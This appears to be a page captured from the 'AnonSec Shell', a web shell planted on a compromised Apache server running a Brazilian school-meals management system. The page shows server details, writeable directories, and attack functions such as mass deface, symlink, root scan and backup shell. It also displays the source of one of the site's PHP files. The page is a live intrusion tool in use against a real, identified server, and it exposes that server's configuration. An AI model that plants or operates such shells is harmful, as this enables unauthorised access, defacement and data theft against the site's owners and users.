AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/aratuba/modulos/movimento/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/aratuba/modulos/movimento/esc_solicitacao.php
<?php
    /**
     * Created by PhpStorm.
     * User: RalpAlves
     * Date: 05/11/2015
     * Time: 13:54
     */
    ini_set('display_errors', 'off');
    $rsResult = mysql_query("SELECT * FROM v_lista_solic_escola");
?>

<head>
    <script type="text/javascript">
        $(document).ready(function () {
            $('#tabela').DataTable({
                order: [[1, 'asc']],
                "pagingType": "full_numbers",
                "lengthMenu": [[8, 25, 50, -1], [8, 25, 50, "Todos"]],
                //stateSave: true,
                "oLanguage": {
                    "sProcessing": "Processando. Aguarde...",
                    "sLengthMenu": "Mostrar  _MENU_  registros",
                    "sZeroRecords": "NENHUM REGISTRO ENCONTRADO!",
                    "sInfo": "Mostrando _START_ até _END_ de _TOTAL_ registros",
                    "sInfoEmpty": "Mostrando 0 até 0 de 0 registros",
                    "sInfoFiltered": "(de _MAX_ registros no total)",
                    "sInfoPostFix": "",
                    "sSearch": "<em class='fa fa-search' title='pesquisar'></em>",
                    "sUrl": "",
                    "oPaginate": {
                        "sFirst": "<em class='fa fa-angle-double-left' title='primeiro registro'>",
                        "sPrevious": "<em class='fa fa-arrow-circle-left' title='registro anterior'></em>",
                        "sNext": "<em class='fa fa-arrow-circle-right' title='próximo registro'></em>",
                        "sLast": "<em class='fa fa-angle-double-right ' title='último registro'>"
                    }
                }
            });
        });
    </script>
    <script type="text/javascript" language="javascript">
        function ins_vali(codDat) {
            var Dat = document.getElementById('vvali' + codDat).value;
            $.ajax({
                type: "GET", url: './modulos/movimento/esc_sol_lida.php?var=insvali&dat=' + Dat + '&codcon=' + codDat, dataType: "html", success: function (resultado) {
                    $('#LicDat').html(resultado);
                    //alert(resultado)
                }
            });
        }
    </script>
</head>
<!--GRID DA DADOS-->
<div id='id_grid' class='container'>
    <p style='font-size: 20px;'>Solicitações Escolas | Listagem &nbsp;
    </p>

    <div class='panel panel-body panel-primary filterable'>
        <form id='frm_pesq' method='post'>
            <table class='tabe1 table table-striped table-hover dt-responsive' cellspacing='0' width='100%' border='0''>
                <thead>
                <tr>
                    <th>ID</th>
                    <th>Tipo</th>
                    <th>Escola</th>
                    <th>Programa</th>
                    <th>Data</th>
                    <th></th>
                    <th></th>
                </tr>
                </thead>
                <tbody>
                <?php
                    while ($row = mysql_fetch_array($rsResult)) {
                        echo "<tr>";
                        echo "<td>" . $row['sol_id'] . "</td>";

                        if ($row['sol_tipo']=='1') {
                            echo "<td>Produto Merenda</td>";
                        } else {
                            echo "<td>Copa/Cozinha</td>";
                        }

                        echo "<td>" . utf8_encode($row['esc_nome']) . "</td>";

                        if ($row['sol_prg_id']<>'0') {
                            echo "<td>" . utf8_encode($row['prg_programa']) . "</td>";
                        } else {
                            echo "<td>NÂO INFORMADO</td>";
                        }
                        echo "<td>" . date('d/m/Y', strtotime($row['sol_data'])) . "</td>";
                        $cod_sol = $row['sol_id'];
                        $cod_esc = $row['sol_esc_id'];
                        
                        echo "<td><a href='?page=movimento/esc_solicitacao_edt&cod_sol=$cod_sol&cod_esc=$cod_esc'>
                            <em class='fa fa-eye' title='Editar registro'/></a></td>";

                        if ($row['sol_lido']==0) {
                            echo "<td>
                                <a href='#' id='vvali" . $cod_sol . "' onclick='ins_vali($cod_sol,location.reload())'><img src='img/off.png' width='13' title='clique para marcar como lida'/></a>
                              </td>";
                        } else {
                            echo "<td><img src='img/on.png' width='13' title='marcada como lida'/></td>";
                        }
                        echo "</tr>";
                    }
                ?>
                </tbody>
            </table>
        </form>
    </div>
</div>
</html>

Anon7 - 2022
AnonSec Team